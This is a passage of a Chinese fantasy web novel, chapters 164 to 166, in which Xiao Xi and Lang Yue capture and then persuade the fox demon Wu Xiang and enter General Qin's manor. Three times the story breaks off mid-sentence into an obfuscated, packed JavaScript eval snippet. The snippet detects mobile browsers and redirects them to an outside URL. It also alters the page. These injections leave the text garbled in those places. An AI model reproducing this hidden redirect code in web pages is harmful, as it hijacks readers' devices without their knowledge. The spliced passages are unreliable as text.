她的身体因为情绪的剧烈波动而不断颤抖,触碰她的朗月的手也不由得随之微颤。 朗月目光微沉,他知道现在不是该说话的时候,因为对于萧喜这种在面对自己执着的事情时,表现出的刨根问底的态度,不应该被不合时宜地打断,那样不是安慰她,而是伤害她。 她的执着根本不可能化解,它们成了一种烙印着罪孽的血肉骨髓,深深地生长在她的皮囊之下的每一寸土地里。所以,对于这样的她来说,逃避已经成了罪孽延伸的罪证,她一向是个不愿意逃避这些感情的人,就像她曾经表现过的或者与他说过的话那样。 在朗月的认知里,萧喜是一个比他勇敢得多的一个,真正做到“知行合一”的人。 此时的萧喜似乎已经进入了忘我的状态,她并没有注意到身后托住她身体的朗月,她只是借助这双手的支撑力,重新站起来,看向一脸无措甚至害怕到想要逃离现场的雾香。 “是在六年前发生劫难的庆阳镇存在过的德裕金府的金瑶蒂?是那个与蝶妖蛾妖牵扯颇深的金瑶蒂?是那个三年前曾在盛京城的登仙楼当过妾子……的金瑶蒂?” 萧喜的话越显哽咽,她越是说下去,就越是感觉有刀片行走在自己的喉咙里,越走越快。 她还没有停止自己的话:“……还是六年前,被我那遭血蠕滋养的恶念迫害过的金瑶蒂?” “你告诉我……是不是……” 她的眼睛织满了血丝,盯得雾香发毛。 可是,很快,雾香也终于意识到了事情的不对之处,她猛地一震,瞪大双眼,其间闪烁起若有若无的怒火,质问道:“什么意思?什么六年前,金瑶蒂遭受迫害?!我就说你怎么也认识她!原来你这个人族竟然坏到如此地步!对同族之人都下得去手!人族!可恨!还有,什么什么血蠕滋养恶念?!你特么有病才用这种叫我听不懂的瞎话遮掩自己的罪行!无耻!你无耻!” 她的话从侧面回答了萧喜的问题,金瑶蒂就是那个金瑶蒂,不是其他任何人。 她情绪格外激动,嗓门也越来越大,她对自己身处的环境毫不在意,也对朗月的存在视若无睹。她天性中的自由不被世俗常规和人妖地界纷争歧视所困,生在广袤天际下的她有什么理由会被拘束起眼界和气势? “我要把这些都告诉鬼市妖主!我真是脑子坏掉了,才快信了你要跟我合作的鬼话!像你这种人!坏到如此地步的人!你说不准什么时候就趁我不注意把我了断了!你……你,呜呜呜!” 雾香一边痛骂,一边后蹬着腿步,踏着空气,以极快的速度飞跃到身后的窗口,仅差半步之遥便可离开客栈,以及面前两个人族的视野。 朗月使出术法,操控气流,猛地将敞开的包括雾香背后的那扇窗户以内的一切出入口都收拢起来,并用封印将它们牢牢锁住。 这些封印本就出自仙机门,对妖就有格外针对性的限制力和攻击力,倘若妖物硬闯封印,便会自讨苦吃。 雾香的后背刚贴到窗板子上,就被灼伤了巴掌大的皮肤,身后薄衫也烧烂成了好几个大洞。吃了痛的雾香不得已瘫下后背,往前倾,最后只能落到空地上,哪里都不能去。 “怎么……现在就迫不及待地想杀我了?”雾香冷笑一声,慢慢从地上站起来,面色狰狞,凶色必现,笑容龇开后,两只长牙抵住她的嘴唇,将狐面凶像演绎地惟妙惟肖。 “难道你们就不怕鬼市妖主吗?!你们难道不怕一旦我不在后,跟在我身后的鬼面侍卫们找你们麻烦吗?!”她张牙舞爪地朝朗月和萧喜扑过来,嘴边还发出骂骂咧咧的声音。 朗月不禁扶额,同时,他还听到了从楼下连接二楼的扶梯上传来的虚浮的踩踏声,好像有人走上来了,还是朝他们的屋子的房间来的。在意识到事情越来越棘手后,他不得已避开雾香扑过来的身影,还叫萧喜赶紧从床上抛来一床被子。 萧喜自然也意识到了同样的问题,她与朗月心有灵犀,行动的默契促使她将被子抛向朗月的时机几乎完美。 朗月拉住被子的一脚,顺着雾香掌风流转的方向抛去,沉重的被子在他的手上顿时变成了缱绻轻盈的白色长绢,它稳稳缠住了雾香的头,让她没办法再说话。 “呜呜呜……呜呜呜!”雾香绝望地闷哼着。 朗月递给了萧喜一个眼风,她刚好接过被子露出来的另一角,拉着,让雾香靠近自己后,她将她推倒在了床上,再进一步堵住她的嘴巴。 虽然雾香再没办法发出任何声音,但她闹腾的身体则将床板子震得哐哐直晃,动静不小。 客栈老板“如约而至”,他拢着袖子,小心翼翼地敲着门,小声问候道:“二位客官,你们……可有需要?” 萧喜的身子压在被被子蒙住的雾香身上,本就有些手脚慌乱的她在听到动静后,下意识地开口回答:“没……有,我们……只是在忙正事!老板你先下去吧!” 她的语气微喘。 “嘶,疼!”她捂住雾香口鼻的手忽地被对方尖锐的牙戳到了一个洞,她一时没控制住,力不从心的她只好压声喊出话来。 但这也只是她所以为的“压声”,其实,对于只是隔着一道门板子的客栈老板来说,这句话还是能很扎实地落到他耳朵里的。 雾香狂蹬着腿,床板子被压得咔咔响动,可谓是“精力充沛”。 眼看着雾香又要作妖,朗月只好提高声音,抱着希望能转移老板注意力的心思,对门外说道:“对……我们只是再办正事,你请回吧,我们没有什么需要帮忙的。” 不知道为什么,他总觉得这话听起来怪怪的,但他目前找不到其他可以换掉它的替代话。 客栈老板不再将耳朵凑到门板子上,他迅速板正起姿态,脸面涨得通红,用手撮起小胡须,似乎是在以这种动作掩饰他内心的尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104570|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬,他下意识慨叹起来:“这光天化日的!可真是不害臊,年轻人就是会闹腾!” 他似乎忘记了自己还没有走离屋子几步的事实,所以这句话自然就被朗月和萧喜听到了。 朗月终于知道自己为什么会觉得那句话这么奇怪了。 原来……歧义如此之大!那客栈老板似乎已经默认了他和萧喜发生了那样……不堪入目的事情。 他的脸“刷”一下烧红起来,他手心攥得死紧,指甲都快嵌入了手心的肉里,滚烫的油汗不断涌出,他不敢看萧喜,却还是忍不住用余光去偷偷看萧喜。 萧喜挽落在肩上的长发遮挡了她的侧脸,朗月根本不知道,她的脸色也是红热不堪的。 她一直一句话都没有说。 “我……” 朗月心虚地开口,他甚至觉得有种希望落空的失落感,因为他根本无法从萧喜的表现判断她对此事的看法,所以,他不知道她的无声到底是因为羞涩,还是因为被冒犯后的生气和恼怒。 他的不自信,令他自然而然倾向了后者。 那他还是选择和以前一样逃避吧,他不想让萧喜因为自己难堪。 “对不起,我……” 萧喜闻言动了动,她有些无奈。 我就知道…… 她心中无力道。 她知道他又会道歉,每次都道歉,像个流氓一样,撩完就跑,到头来还要将她心中残留的希望浇灭得一干二净。 她觉得无力,因为她也开始不自信了,她不知道自己到底要怎么做才能跨越与朗月之间,看似很近却始终无法逾越的那一亩三分地——分界感。她不敢,亦不能跨越。 红潮随着失落的心态慢慢消逝,她只是配合着朗月的演出,默默切换出自然的神色,大大咧咧地朝朗月道:“不好意思啊,我刚刚一直摸不到雾香的后脖,没办法给她定穴,抱歉哈,给你添麻烦了。” 最好的演绎方式就是对自己想要遮掩的事情只字不提,尽管如此,却还是能叫朗月听出那分隐隐约约的愧疚感。 我就知道…… 朗月心中默念。 他知道,自己不能随心所欲,因为自己的心意在别人眼里只会是负担,会让对方难堪,也会让别人误以为是所谓的“麻烦”,并给她带来不断的“愧疚感”。 他有些不想再尝试了,人总是喜欢用试探去测试真心,他并不像表面的自己一样,那么骄傲,相反,他的心里藏着一个胆小鬼,连试探都不敢再继续下去了。 他偷偷将手背到身后,无意识地捏紧了最后的那只尾指——那只被萧喜握住过的那只手,他好似只能依靠其上残存的触感记忆,才能得到一时的带着遏制气息的安慰。 朗月没说话的间隙里,萧喜已经将蒙在雾香身上的被子移开了,她指了指晕得白眼直翻的雾香,说道:“看来我们得想想办法要怎么和她进一步交流了,或许我这只吊坠在以后还会起到更大的作用,今天只是我太心急了,才发挥失常了。” “眼下,秦府和刹摩的事情虽然还没有苗头,但雾香也已经给了我们提示,那就是粥水的问题,我觉得,我们目前最重要的事情是处理掉那些粥水,好不让更多的百姓遭受苦难,刚好,也能在一定程度上遏制妖力衰微的影响范围。” 朗月微微晃神,却也很快投入到了萧喜的思绪中,他提出了一个新的问题:“吊坠的事情必须要放到最后,情况不稳定,所以这一次的效果才不理想。在此之前,我们必须搞清楚为什么这只狐妖也和你要找的金瑶蒂有关系,你说过的,这事不能太心急。” “当然,至于如何搞好和雾香的关系的问题也很重要。她牵扯到白刻舟,如果不处理好,不方便我们继续做事。你刚刚也是想把雾香拉入我们的阵营,就算这次成功了,骗人的法子只能拖延时间,迟早会失效。” “我们可以换别的方法,比如先攻其心。” “……攻心?”萧喜在听到金瑶蒂的名字后,声音还是不免微颤。 “嗯。雾香一开始是动摇了的,但你和金瑶蒂之间的事情,让她产生了一些误解。她认为你是个可怕的人,不顾及同类,就更不可能顾及身为妖族的她了,没有安全性的交易谁都不会做。既然如此,你不如让她对你改观,拉窄界限,就好说话了。” 萧喜的反应很快,她顺其自然地说道:“我懂你的意思了,刚好就是先从解决粥水的问题上开展,对吧?” “是。”朗月应道。 164. 双赢之约(4) 挑完合适的时间后,萧喜和朗月在确保雾香再没有能耐脱离他们的掌控时,才决定解开她的定穴。那时候正值夜晚,周围的一切都已然入眠,雾香的存在不会惹人眼球。 唯一难搞的是她的大嗓门,但这也被朗月用术法限制了——一旦她的声音和闹出来动静超过限制,便会自行封印口舌和四肢,虽然不会给雾香带来什么实质性的伤害,但精神上的损伤无疑是强悍的。 距离雾香醒来已经快过去一个时辰了,她也刚好被这该死的封印折磨了快一个时辰,现在的她早已口干舌燥,呼吸幅度都变得越来越小了。 她好似这才终于认了命,用自己残存的气力好好压低声音说话:“你们要杀要剐……悉听尊便……我……我快不行了,你们到底……要怎样……” “我们只是想和你好好谈谈,但是你从来不给我们机会,不然,在一个时辰之前,你就应该摆正这样的态度了。” 萧喜坐在绑住雾香的凳子的对面的床板上,目光平视,口吻压抑着情绪的波动,她是在忍耐想要弄清楚雾香和金瑶蒂关系的好奇心。 雾香的注意力顿时被萧喜完全吸引了过去,她情绪再次激动起来,却只能哑口而言:“萧喜,又是你!又……是你!” 萧喜卑微地曲坐着身子,目光落于自己纠结着的双手上,她鼓起了勇气后,才好不容易再次抬眸正视雾香,她尽量稳住声线说道:“白刻舟应该没有和你说,我和朗月仅有五日时限的事情吧?” 雾香蹙眉,她对萧喜突兀的问题感到疑惑。 同时,这样的疑惑也证明了萧喜的猜测是正确的,雾香的确不知道白刻舟与他们定下的五日之约。 这些推测是她跟朗月一起从雾香的言语动机上发觉的。 一开始他们因为雾香的姗姗来迟,就想过白刻舟是不是故意用这样的方式拖延他们行动的时间,好叫那五日期限快速失效。毕竟,白刻舟好像从头到尾就没有要真心帮过他们,他始终对他们抱有怀疑。要不然,他堂堂一个鬼市妖主也不会在面对如此棘手的危险时,吝啬到仅给他们五日时间了。 这五日好像真就是看着萧喜的面子给的。 白刻舟打的如意算盘是,他既给予了让步,萧喜和朗月也必须听从这样的决定——尽管那些让步是微乎其微的。 因为抱有怀疑,他索性给了他们有但不多的时间,他们要是真的能解决就是喜大普奔。他们要是没做到,五天的时间,量他们两个人族也干不出什么出格的事情,更何况他还会安插所谓的眼线在他们身边呢,所以说,他也不会有任何损失。 但是五天…… 要用这屈指可数的日子,去解决那鬼时妖主恨不得动用全部妖力并花费超过一月心思,也没能了却的大事…… 别说是白刻舟或是其他妖怪了,光是身为当事人的萧喜和朗月,都觉得处境已悬于高崖。 但他们没有任何退路和办法,五日的时间是好不容易争取来的,否则,以白刻舟的手段和个性,他们现在怎么可能还能安安稳稳地待在盛京城?更别提断案了。 白刻舟这只老狐狸完全没想给他们任何希望,直接不高兴帮他们了,眼线也好,帮手也好,他是能拖就拖。所以雾香的姗姗来迟,就代表了很多事情,也给萧喜和朗月带来了极多的顾虑。 但雾香今天的反应很明显直接否决了他们的胡思乱想,雾香只是自己去摸索了更多的线索,所以才晚来了。白刻舟也没那么缺德,他并没有想用这种可耻的方式直接断了萧喜他们的后路。 倒还算有点良心。 但白刻舟之所以会挑雾香作为安插到他们身边的妖,想必也是跟雾香的欲望和萧喜的完全一样有关,加上雾香作为一个有一定能耐又容易被掌控的妖怪,他如何不会选择她? 萧喜觉得,白刻舟似乎是在故意用这种方式,探索她的秘密,探索金瑶蒂的身份之谜。 毕竟,萧喜一直都记得在中元夜离开鬼市的前一刻,看到的白刻舟的反应——不解,和安全感缺失的多疑。 雾香的欲望,加重了他的不解和多疑。 叫雾香的欲望直接牵扯上萧喜,届时本就对萧喜满腹仇恨怨言的雾香,必然会对萧喜的存在产生极强的排斥力,就像现在这样一般。 白刻舟不可能不知道雾香和萧喜之间水火不容的关系。 所以,他不会主动让雾香知道自己给萧喜他们设下的不利的条件——五日的期限。否则,就凭借雾香这种几乎脑路不转弯办事的鲁莽劲头,绝对会选择用偷奸耍滑的方式,故意搅乱萧喜和朗月他们的计划。这可不行。他既不想让萧喜和朗月他们太好过,又不希望他们太难过。 按照这个思路下去,白刻舟在吩咐雾香干事的时候,一定减去了很多内容。 在白刻舟没有动其他歪心思的情况下,雾香的姗姗来迟绝对跟这些内容毫无关系。 但这终究不是长久之计。 白刻舟好像对萧喜和朗月很有信心——觉得他们有足够的本事控住之后的场面——知道事实之后的雾香开始失控的场面。 雾香缓了半晌,却还是因为精力衰微,而没想通萧喜的用意,她只是问道:“你这又是什么意思?!” 雾香的反应充分证明了萧喜和朗月的猜想是完全正确的。 萧喜在开口之前,似乎在努力压足底气,不想这一次还失误。 但朗月还是抢在萧喜开口之前,主动回答了雾香的问题。 “鬼市那晚,我们在拿下白刻舟的信任时,还被迫接受了他给我们的时间限制,也就是所谓的五日之限,也就是说,我和萧喜必须在五日之内帮助鬼市找到让盛京妖族妖力衰微的源头。五日既被称作限制,那就算是我们的弱点。但白刻舟似乎对我们还有所忌惮,他用让我们仅仅两个人就要在这么短的时间内,完成这个几乎不可能解决的事情显得他有失待客之仪的理由,顺利让我们不得不接受他在我们身边安插所谓的妖族帮手的要求。但我和萧喜比谁都清楚,这所谓的帮手,不过就是眼线罢了。白刻舟忌惮我们的身份,所以他要用这种时间和行动上的限制,来控住他眼下的局面。” “但,作为眼线,雾香你却姗姗来迟,我和萧喜转念想想,发觉了其他的思维路线,也就是说,白刻舟对我们根本就没有抱有希望,他觉得此事本就是不可能的,所以他完全没有必要把我们看在眼里。鬼市那晚要么就是单纯想撒撒这么多年来被人族压着的气,才用这种间接的方式耍耍我们,要么就是看着萧喜的面子,嘴上说说那所谓的协定,暂时放我们一马罢了。总之,不管他是临时转变了主意,还是他至始至终都是这么想我们的,都无法改变这条思维路线的走向。” “于是,我们认为,雾香你之所以姗姗来迟,算是秉承了白刻舟的念头,想拖延我们本就不多的时间,耍耍我们罢了。但,今日你的出现和所作所为都让我们抛弃了以上那些念头,你的晚来并非受托于白刻舟,也并非想要拖延我们的时间。否则你也不会主动来找我们,并告诉我们进入秦府的方法。根据你和萧喜的关系来说,你主动这么做的可能性是很低的,白刻舟也定然没有告诉你五日之限的内容,不然,我想,那时候的你肯定不会选择用这样的方式接近我们,因为,你更希望萧喜可以直接失败,好叫白刻舟只满足你的欲望。” 朗月神态自若,他静静地垂着眼眸,补上了最后一句话:“你和萧喜的欲望是一样的,但白刻舟只能满足其一,不是么?” 尽管最后他反问的语气平缓而冷静,带来的冲击力却是史无前例的,雾香感觉自己的脑部被巨大的气流挤压着,颅内脑风呼啸,内容物被压榨得所剩无几,空旷的脑袋里唯有朗月话语的回声,在荡来荡去。 简单来说,她的心灵受到了重创,她的脑袋空白一片。 她什么话都没有说出口,枯白成一张纸的脸呆愣愣地摊开。 雾香的内心活动已然被他们洞悉。 他们有了更大的把握去诱导雾香的立场偏向自己,而不是全然偏向白刻舟。 屋子里静声半晌,萧喜才终于说话,她面向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129616|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雾香,身体微曲,好让自己和对方的目光平行:“不久前,是我们的失礼,虽然有些晚,但我还是想和你道歉。但我们都知道这是不够的,所以我们决定将自己的弱点告诉你,算是赔礼,如若你以后对我们有任何不满,都可以用我们说的那些说辞来置我们于死地。” 雾香的情绪慢慢低沉下去,她干裂的唇瓣颤抖着,静静地问道:“你们两个身为人族,为什么要帮鬼市找到致使妖族妖力衰微的源头?你们真的要为这样明明不可能完成的事情做到如此田地么?我不明白……不明白,起初,我只是以为你们单纯是想从鬼市妖主那边获利,才假惺惺地这么做,或者说,你们本来就搞着其他的小动作,只是用这个协定遮掩丑行而已……但,我不知道,你们要在五日……不,不……你们只是在骗我,你们还在骗我,你们想要骗取我的同情心,从而让我心软是不是?!” 她的认知观无疑受到了冲击,可朗月的话又实在是真实可信,叫她不得不去相信,这些动摇的念头已与她自幼受到的长辈们的熏陶背道而驰—— 人族都是作恶多端的,他们欲望无穷无尽,夺取妖族领地和无辜妖族的生命,他们甚至连同族都能残忍杀害!他们是恐怖的,他们的心是黑的,深渊般的黑色,里面盛放着深渊般的欲望,不管吞噬什么,都得不到满足!他们是虚伪的,他们永不畏惧自然与天命,他们可以为了自己一时的贪欢和虚弱,愿意毁灭其他所有的美好的事物——因为他们不希望除了自己以外的任何人也得到这些,尽管他们知道,做到这些后,他们也即将面临毁灭。 她的脑子里凭空生出了两只剑拔弩张的军队,互相不断地冲击着,让她动摇不断。 萧喜只是虚弱一笑,她转身帮着朗月去解开屋子里所有限制雾香的封印,随后又转眸看向了还愣愣地瘫坐在床板上的雾香,话不多说地道:“你走吧,我们不会再对你做任何事情了。” “当然,你说的秦府一事,我们定然会竭尽全力帮你,最迟在今晚之前我们就会动手,所以不必担心。毕竟我们的时间也很有限。你完全不需要有任何的心理压力了。”她继续补道。 雾香默默深吸了一口气,后而一句话也没有说,就独自一人夺窗而走了,没有回过一次头。 “真的没关系么?”朗月忽然问住。 萧喜走近他,说道:“什么?” “我以为以你的性子和心态,会在现在就能逼问出雾香和金瑶蒂的关系。但你并没有。” 萧喜无声笑了笑,淡淡调侃道:“你不是说了么,不能太心急的,我这是听话了,你还要多此一举地来问候一下我?” 朗月叹了一口气,给萧喜赔了个笑。 萧喜又道:“能叫雾香降低对我们的敌意,让她动摇念头并重新认识白刻舟就足够了。白刻舟对雾香的有意隐瞒,是会让雾香重新审视我之前说过的有关合作的话的。我可以利用这一点让雾香对白刻舟的承诺产生怀疑,好叫她快些另做抉择。这绝对是白刻舟没有料到的。今日和雾香的交涉足以为我们争取了更多行动的机会,她的动摇和怀疑,也可不让她在短时间将吊坠和金瑶蒂的事情告诉白刻舟,我们得抓紧这段时间,好好解决掉粥水和百姓的问题,一点差错都不能出。” 朗月默默颔首,对萧喜明确又清晰的规划表示认同和满意。 他耐下性子,想了想,不久后,他又道:“或许,在以后,雾香会主动向你问清你与金瑶蒂的事情。” “为什么这么说?”萧喜被说得一头雾水。 “因为日久见人心,你是个很好的人,现在是,以后也是。我相信你能做好接下来的事情。” 原来他这是在鼓励她,倒是别有用心的做法,只是他的口吻还是一如既往的古朽,像个老书生。 萧喜被夸得脸颊浮出两片红晕,但她好像早已习惯自己与朗月这样的相处方式,她没有闪躲,而是大大方方地露出一个笑容,承认道:“我会的。” 朗月被她的笑容感染到,他的嘴角也微微扬起一个温暖的幅度。 165. 秦将军府(1) 暮色摇曳,金色的云边镶嵌在盛京城大户人家的高墙乌瓦上,薄薄的灯纸映着刚刚点起的烛火,光亮撕扯出的模糊的毛边穿过精致雕刻的花窗,漏在屋内男人完美无瑕却脆弱如玉的面庞上。 他拢着袖子,立在斜阳轻打的屋中,长睫扫下,看向屈膝在地又卑微自持的黑衣人下属,缓声道:“告示散出去了么?记得通过的只能是鬼市妖主的渠道。” 言语如同他的面色一样,几乎没有任何感情或是血色。 “已经散出去了,现在白刻舟应该已经把这件事告诉朗月他们了,估计,最迟在今晚之前,他们就会来秦府了。”黑衣人迅速答道。 “是吗……”秦澈微微侧颜,面庞被全然展露在夕阳和灯光下,他眯着眼睛看向外面的天色,喃喃自语。 “秦昊那边准备地怎么样了?”他又问道。 “大人放心,秦大少爷那边我们已经派人着手布置了,保证在您的诞辰之日前准备妥当了。”黑衣人颇为自信地说道。 “很好,”秦澈目光渐沉,但语气却是上扬的,露出一种似有似无的邪气,“秦昊暂时不用出面,但他那边血蠕的控制力度绝对不能松懈。” “是,”黑衣人低头应道,不过很快,他就想到了一件同样重要的事情,于是便道,“那大人……夫人那边……” 秦澈的眸光一动不动,毫无光彩,俨如一片死水,他用毫无感情色彩的语气喊出人间最亲密的称呼,道:“娘那边血蠕的控制力自然也要加强,我可盼着她这几天好好表现呢……” 语罢,他忽地冷笑一声。 黑衣人不由得起了一声鸡皮疙瘩,他恨不得赶紧逃离此处,于是他赶忙恭敬跪拜下去,道:“是,属下明白了!” …… 萧喜刚着急忙慌地从街上回来,她抱着东西也没来得及和朗月打上招呼,就一把拉上屋子的门,把自己关了进去。 过了半刻钟,她才匆匆从屋子里出来。 但她的模样却让门外默默等待着的朗月微微一震——她换上了一袭质朴的男装,面色被抹黑,发髻也规整地梳起,只在额角留了两撮分散着的碎发,眉毛不知道被什么材质的东西抹成了又粗又黑的长条,人中上贴了两只小胡子。 几个月过去,她的伪装技术还是一点长进都没有。 朗月挑眉,想到了平台镇的一些在那时看起来不太美好,却在现在让他耐人寻味的回忆。 他用打趣的口吻,跟萧喜拱手作了个揖,道:“时别数月,萧公子,真是好久不见。” 萧喜戏精上身,也装模作样了起来,她作揖,用油嘴滑舌的腔调说道:“小公子客气客气!” 朗月抬眉轻笑两声。 萧喜也笑着放下了包袱,在他面前转了个圈,刻意压粗嗓子,问道:“你看着觉得怎么样,应该不容易被看出来吧?” 朗月倒是毫不避讳地道:“丑是丑了点,但的确有用。” “丑吗?我觉得还好吧……”萧喜挠了挠腮帮子,自我怀疑道。 “不过,你为何又突然换上了男装?”朗月问道。 萧喜眉梢落下,喜色稍减,道:“这世道女子都不好混的,平台镇都这样,更别提在盛京城这样口舌更多的地方了。” 朗月早在平台镇就听过萧喜的这般话,他本想着说,她这样的人无需顾及世人目光,也无需妄自菲薄,只需要做好自己就好了,但这样的话未免太空。 他只好换句话道:“不必担心,沧淩城的你并没有以男人的身份示众,事情照样办得出色。身份于你而言,不是枷锁,它没有存在的意义。” 萧喜笑了笑,她自然都懂朗月的道理,但她还是说道:“但是,沧淩城的我并没有像平台镇或是现在盛京城那样完全抛头露面地做事,不是么?而且,人间都是复杂的,不是所有人都像你和济世堂的大伙们那样好。加上,这次我们的时间非常有限,我不希望有多余的麻烦阻隔我们的进程。” 朗月明白萧喜如此并非是妄自菲薄后,他自然而然地松懈了一口气,随即道:“我明白了。” 萧喜继续道:“其实……我这么做,也是因为一个顾虑……在沧淩城临走的那个晚上,你不是和我讲过六年前刹摩和我之间可能存在的关系吗?我其实也隐隐感觉到,有人在针对我,自从来了盛京城后,这样的感觉也更加明显了。所以,我想女扮男装,掩耳盗铃起来,给我点心理安慰……” 说着说着,她的思绪渐渐飘远…… 其实这些画面和想法,在短短半日内就已经在她的脑海里来回飘荡了数遍…… 在下午,她正和朗月兵分两路去探查南城门粥水和百姓的问题。她排完队,领完粥水,且不管使出什么法子都发现不了粥水的问题后,她刚要倒掉它们的时候,一个言行奇怪的小姑娘突然出现。 小姑娘歪着脑袋,只是盯着她手里的粥水,跟她不断地强调“别把它倒掉”之类的话。 而刚巧不巧在那不久之后,雾香就出现了,且第一时刻就针对她手里那碗没能倒掉的粥水给出了分析…… 萧喜一直记得自己在面对那个小姑娘的时候,并没有这些有得没得的顾虑的。但就是不知到底是着了魔还是丢了魂啥的,自从离开南城门后,她脑子里就总是循环放映小姑娘的面容和话语…… 她不仅感到顾虑重重,甚至还开始感到不安,她觉得自己被针对的力度越来越大……尽管她一直都知道,这只不过是心理压力带来的幻觉罢了,但她就是无法遏制自己深陷其中。 更离奇的是,自从她意识到自己内心中这种极度不安的情绪开始盎然滋生后,她就再难以去琢磨有关小姑娘的事情,譬如——她到底是谁,她到底为什么要跟她说那些奇怪的话,她是怎么无声无息地出现在她的身后的? 再到后来——她发现,自己竟然开始不记得小姑娘的面容和声色——再到现在,她对于这些也感到略微模糊——可是,针对自己的异端,她竟然也不感到奇怪,简直就像是有什么东西凌驾于她的存在之上,以神力为干扰,让只是身为凡人的她变得任人摆布。 朗月发现萧喜的目光有些空洞,便只好出声唤她:“你怎么了?” 被喊住的萧喜深呼吸了两口气,自顾自地摆了摆脑袋,说道:“没什么,就是感觉有点压力罢了。” 萧喜的状态恢复地极为自然,这让朗月没有多虑。 他随口道了句“别担心”,然后就自行开路上前,带着萧喜出了客栈,前往坐落在盛京城中心地带的秦将军府。 …… 秦将军府—— 暮色深绛,沉沉的黑云倒在西方的天阔下,浅月的轮廓像雕刻精美的玉雕,挂着天上,似正镶嵌在色彩大相径庭却调和地格外融洽的顶级木料上。 目光下落,秦将军府阔绰的大门竟丝毫不比天公的手笔差,与质地银润清冷的浅月截然不同的是,门板上镶嵌着是两只叼着硕大红宝石的狮子铜环,威武雄壮,奢华张扬。 屋檐下垂落着带着深红色穗子的大灯笼将灯光洒落在狮子头上,那两颗红宝石竟然就这样在逐渐晦暗的暮色里,闪烁起耀眼而夺目的光芒,其带着的压迫力也让刚刚站到门外的朗月和萧喜两人心中震颤了两分。 “这秦将军府当真是……”萧喜惊讶到一时忘记了合适的形容词。 “高大上,”朗月替她补上,却刻意避开多少有些显摆的词,好让萧喜觉着自在。 “是是是,高大上!”萧喜恍然大悟道,可很快就反应过来这不该是朗月平日说话的调调,她反过来看他,“嗯?” 朗月笑笑,不说什么。 此时,朗月已经照着雾香之前给出的办法,朝守着大门的几位守门兵和小厮做出了暗号——据雾香所言,秦府放出的告示仅从部分渠道流通,为的是能找到真正有用的人才,而不是只会招摇撞骗的江湖骗子,所以真正的人才才会有能进入秦府的暗号——不仅如此,雾香还说秦大将军这是煞费苦心,想要帮小儿子把事情办好,又不想树大招风引来无关的人和事情,好坏了儿子的名声。 好一个舐犊情深。 朗月一边做着相应的暗号,一边想着雾香言之凿凿的说辞,不免在内心冷嗤一声。 这样的说法也就雾香肯信一信了,而他和萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他此时倒是没有任何架子地带着秦澈朝他们行了个礼,将自己的身份和请他们来的用意从头到尾说了个遍。 之后他还不忘嘘寒问暖一番:“二位远道而来,是我秦某的荣幸啊!我是没想到,道长们在今天就能不辞辛苦地赶到我府内,可真叫我秦某感动!但今日的时辰实在是太晚了,道长们还是先随我入府休息好。” 萧喜本碍于身份的特殊,暂时减少说话的频率,她正等着朗月按照原计划或者是跟秦宥搭话。 但她发现,朗月此时的魂儿早已不在这里,一直无言。无奈之下,她就只好自己出马。 在秦宥刚要转身的时候,她匆忙哑起嗓子喊住秦宥,问道:“既然秦二公子也在此处,怎么就不见秦大公子呢?” “哎,那小子犯了那么大的事,却还不知悔改,现在还不知道在哪儿吃喝嫖赌着呢!”秦宥用一种恨铁不成钢的口吻,痛心疾首地哀叹起来。 说罢,他又重振起精神,看向了身侧只是笑而不语的秦澈,语气和缓地笑道:“幸好,我还有这么个争气的儿子。幸好,幸好啊!” “爹过奖了,”那秦澈微微鞠躬,笑色温润。 萧喜用极快的目光打量了秦澈一番,愣是半点可疑之处的影子都没看见,离谱的是,她竟然对这个人生不出任何反感之情,她很少这样。 她很快收敛起眼神,装模作样地撮起自己的假胡子,跟着秦宥后面嬉笑傅会起来。 等到她脸快要笑僵的时候,秦宥这才想起了要事,他加快动作,吆着秦澈赶忙跟在自己身后,好带二位道长早点入房休息。 随着秦宥和秦澈的身影都远去,萧喜这才敢凑到朗月耳边说起悄悄话:“今日这一见,才知这秦二公子果非一般人。” 而朗月像是什么都没听到似的,半点反应都没给萧喜,他的目光锁定在徒留背影的秦澈身上,迟迟不愿离开。 “你怎么了?刚刚你也是这样,是不是……哪里不舒服?”萧喜轻轻地捅了捅他的手臂,担忧地问道。 被唤回神的朗月很快切换了神色,装作什么事情都没有发生一样,匆匆忙忙地摆头道:“走吧,快跟不上了。” 他知道自己在逃避什么。 也知道,他到底为什么要逃避。 但是,他宁愿什么都不知道,就像曾经的自己一样,愚昧地活着。 166. 秦将军府(2) 夜色静谧,朗月少有地蜷缩起了身子,像个在雷雨天气里没有安全感的孩子一样,背对着窗子,小心地侧躺着。 他睡不着,也根本不敢长时间闭上双眼,因为一旦如此,他的脑海里就会浮现出不久前刚与他会面的秦澈的面庞——那张长着与娘亲起码有五分相像的面庞——紧接着,他就会眼睁睁地看着那张脸,如同变戏法般以极其自然的方式,潜移默化成娘亲的模样…… 既然他的意识默认了秦澈拥有一张与娘亲相像的面孔,就不得不承认自己与秦二公子存在的相似之处,他甚至在刚看到秦澈的那一刻,就恍恍惚惚地以为看到了镜像中的自己…… 为什么会这样…… 